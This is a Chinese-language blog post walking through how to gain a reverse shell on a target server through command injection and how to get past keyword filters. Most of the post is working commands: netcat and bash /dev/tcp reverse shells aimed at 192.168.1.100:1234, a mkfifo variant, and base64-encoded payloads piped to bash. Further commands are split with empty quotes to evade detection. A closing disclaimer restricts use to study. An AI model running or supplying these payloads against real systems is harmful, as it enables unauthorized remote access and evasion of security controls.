绕过关键字过滤并利用 Netcat 反弹 Shell 的完整流程

2025-03-13 100 0

绕过关键字过滤并利用 Netcat 反弹 Shell 的完整流程

1. 背景知识

在渗透测试或命令注入攻击中,目标服务器可能会有关键字过滤(比如ncbash/bin/sh等)。为了绕过检测,我们可以使用 Base64 编码,把真正的命令隐藏起来,并让目标服务器解码执行。

目标:

  1. 在攻击者机器(你自己的电脑)上监听端口,等待目标服务器反向连接。

  2. 在目标服务器上执行 Netcat 反弹 Shell 命令,把 Shell 发送到你的监听端口。

  3. 如果服务器有关键字检测,就用 Base64 编码绕过。

2. 反弹 Shell 的基础方法(无编码)

最基础的 Netcat 反弹 Shell 命令是:

nc -nv 攻击者IP 1234 -e /bin/bash

其中:

  • -n不进行 DNS 解析,加快连接速度。

  • -v显示详细信息(可选)。

  • 攻击者IP是你的 IP(监听端机器)。

  • -e /bin/bash让 Netcat 把 Bash Shell 绑定到 TCP 连接上。

示例

攻击者机器监听:

nc -nvlp 1234

目标服务器执行反弹 Shell 命令:

nc -nv 192.168.1.100 1234 -e /bin/bash

如果连接成功,你在nc -nvlp 1234的窗口里会获得一个远程 Shell。

3. 目标服务器有关键字检测,如何绕过?

(1)先在本地进行 Base64 编码

不能直接输入nc -nv 192.168.1.100 1234 -e /bin/bash,否则可能被拦截,所以先进行 Base64 编码:

echo -n "nc -nv 192.168.1.100 1234 -e /bin/bash" | base64

输出示例:

bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g=

(2)在目标服务器执行 Base64 方式的反弹 Shell

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | base64 -d | bash

该命令的作用:

  1. echo "Base64编码字符串":输出 Base64 版本的命令。

  2. base64 -d:解码回原来的nc -nv 192.168.1.100 1234 -e /bin/bash

  3. bash:执行解码后的命令。

如果执行成功,目标服务器会尝试连接192.168.1.100:1234,并且你在攻击者机器上的nc -nvlp 1234监听窗口会收到一个 Shell。

4. 绕过更严格的检测

(1)分块 Base64 解码

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | b''a''s''h

或者:

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | /b''i''n/sh

(2)使用$(echo xxx | base64 -d)方式

bash -c "$(echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | base64 -d)"

这样bash -c负责执行括号里的命令。

5. 如何判断目标服务器支持 Base64?

echo "dGVzdA==" | base64 -d

如果返回test,说明base64是可用的。

6. 可能遇到的问题

(1)目标服务器没有nc

如果nc不可用,尝试使用 Bash 自带的 TCP 反弹:

bash -i >& /dev/tcp/192.168.1.100/1234 0>&1

然后同样可以 Base64 编码:

echo -n "bash -i >& /dev/tcp/192.168.1.100/1234 0>&1" | base64

目标服务器执行:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzEyMzQgMD4mMQ== | base64 -d | bash

(2)目标服务器无法连接你的监听端口

可能的原因:

  • 服务器的防火墙阻止了出站连接。

  • 你的监听端口(1234)被防火墙拦截(关闭防火墙或换个端口)。

  • 服务器的nc版本不支持-e选项,可以尝试mkfifo方式:

mkfifo /tmp/backpipe
/bin/sh 0</tmp/backpipe | nc 192.168.1.100 1234 1>/tmp/backpipe

再用 Base64 编码执行。

7. 总结

监听端(你的电脑):

nc -nvlp 1234

在本地编码 Netcat 反弹 Shell 命令:

echo -n "nc -nv 192.168.1.100 1234 -e /bin/bash" | base64

在目标服务器执行 Base64 反弹 Shell:

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | b''a''s''h

如果nc被禁用,尝试 Bash 反弹:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzEyMzQgMD4mMQ== | base64 -d | bash

这样你每次遇到命令注入、关键字过滤或者反弹 Shell 的时候,就可以按照这个流程一步步分析并尝试不同的方法!

8. 免责声明

本文章仅用于技术研究与网络安全学习,旨在帮助用户提高安全意识,防范潜在的网络威胁。所有内容均基于合法合规的测试环境,任何组织或个人不得将其用于非法用途,否则由使用者自行承担法律责任。本文作者不承担因使用本工具导致的任何直接或间接后果。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

一文详述SQL注入
网络安全行业倦怠危机:CISO如何保护团队与自己
[CISSP] [6] 密码学和对称密钥算法
安全主管们的平台疲劳症:当工具泛滥成为安全团队的噩梦
外部攻击面管理(EASM):四步降低企业网络风险
网络安全威胁监测体系建设实践

发布评论